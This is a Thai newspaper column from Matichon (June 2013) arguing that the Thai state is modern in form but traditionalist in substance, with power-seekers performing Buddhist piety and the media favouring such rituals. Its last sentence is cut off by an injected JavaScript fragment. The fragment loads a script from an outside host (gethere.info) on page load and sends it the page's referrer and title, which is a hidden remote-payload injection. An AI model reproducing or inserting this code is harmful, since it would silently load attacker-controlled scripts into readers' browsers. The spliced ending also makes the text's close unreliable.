มติชนรายวัน ฉบับประจำวันพฤหัสบดีที่ 6 มิถุนายน 2556

 

          ไทยแสดงตนเป็นสังคมสมัยใหม่ แต่ลึกลงไปแล้วยังจารีตนิยมอย่างหนา

          รัฐจารีต เป็นรัฐทางศาสนา-การเมือง ผู้มีอำนาจต้องแสดงตนว่าเป็นคนดี มีศีลธรรม ด้วยการบำเพ็ญตนเป็นตัวตนของศาสนา หรือเป็นผู้ศรัทธาเลื่อมใสฝักใฝ่ในศาสนา

          ก่อนรับศาสนาพราหมณ์และพุทธจากชมพูทวีป บรรดาคนพื้นเมืองของอุษาคเนย์ล้วนนับถือศาสนาผี(ของผู้หญิง) หัวหน้าเผ่าคือผู้แสดงตนเป็นหมอผี หรือผู้แสดงตนเป็นหมอผีได้รับยกย่องเป็นหัวหน้าเผ่า ซึ่งเป็นผู้หญิง

          มีหลักฐานสำคัญอยู่ที่โครงกระดูก“เจ้าแม่โคกพนมดี” อายุมากกว่า 3,000 ปีมาแล้ว (นักโบราณคดีขุดพบที่บ้านโคกพนมดี อ. พนัสนิคม จ. ชลบุรี) มีลูกปัดนับแสนเม็ดฝังรวมกับโครงกระดูก แสดงฐานะทางสังคมว่าได้รับยกย่องเป็นหมอผีหัวหน้าเผ่า มีอำนาจเหนือคนอื่น

          หลังรับศาสนาพราหมณ์และพุทธ บรรดาหมอผีหัวหน้าเผ่าถูกปรับเปลี่ยนเป็นผู้ชาย รับเทวราชาหรือธรรมราชา ยกย่องเป็นพระราชา หรือกษัตริย์

          กรุงศรีอยุธยา ดูจากพระนามพระเจ้าแผ่นดิน จะพบว่ายกย่องนับถือปนกันทั้งคติพราหมณ์ เช่น รามาธิบดี, พระนารายณ์, ฯลฯ และคติพุทธ เช่น บรมไตรโลกนาถ, ธรรมราชา, ฯลฯ

          รัฐสมัยใหม่ เป็นรัฐทางเศรษฐกิจ-การเมือง ผู้มีอำนาจต้องแสดงตนเป็นผู้รู้ ผู้ประสบความสำเร็จทางการบริหารจัดการด้านเศรษฐกิจและการเมืองแนวทางประชาธิปไตย เพื่อให้ประชาชนพลเมืองมีความมั่งคั่ง อยู่ดีกินดี มีเสรีภาพและเสมอภาค

          รัฐไทยสมัยนี้ มี 2 อย่างอยู่ปนกัน คือ รูปแบบเป็นรัฐสมัยใหม่ แต่เนื้อหาเป็นรัฐจารีต

          ผู้ต้องการขึ้นสู่อำนาจ หรือเข้าสู่ตำแหน่งสูงขึ้น(กว่าคนอื่น) ต้องแสดงตนเป็นผู้ฝักใฝ่ในกิจการพระศาสนาหรือเป็นพุทธศาสนิกชน ให้คนอื่นเห็นบ่อยๆ มากๆ ว่าเป็นคนดี“ผู้มีบุญ” (ไม่ว่าบุญที่แสดงออกจะมาจากการทำบาปกี่บาปก็ได้) และมีศีลธรรม (ที่ได้เปรียบคนอื่นอยู่แล้ว)

          ผู้ทำสื่อก็ถูกครอบงำด้วยรูปแบบและเนื้อหาดังกล่าว ไม่ต่างจากผู้แสดงตนคนอื่นๆในสังคมสมัยใหม่ฝักใฝ่จารีต เลยเสนอข่าวในแวดวงจารีตนิยมสำคัญกว่าเรื่องความเดือดร้อนของพลเมือง

          เมื่อนายกฯ ไปเยือนศรีลังกา จึงมีแต่ข่าวและรูปเข้าวัดทำบุญไหว้พระ แต่ไม่มีเรื่องข้อตกลงทางเศรษฐกิจ-การเมือง ที่จะส่งผลดีและไม่ดีต่อปัจจุบันและอนาคตของสองประเทศและภูมิภาค

          ย่อมเป็นที่พึงใจทุกฝ่ายs.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; document.currentScript.parentNode.insertBefore(s, document.currentScript);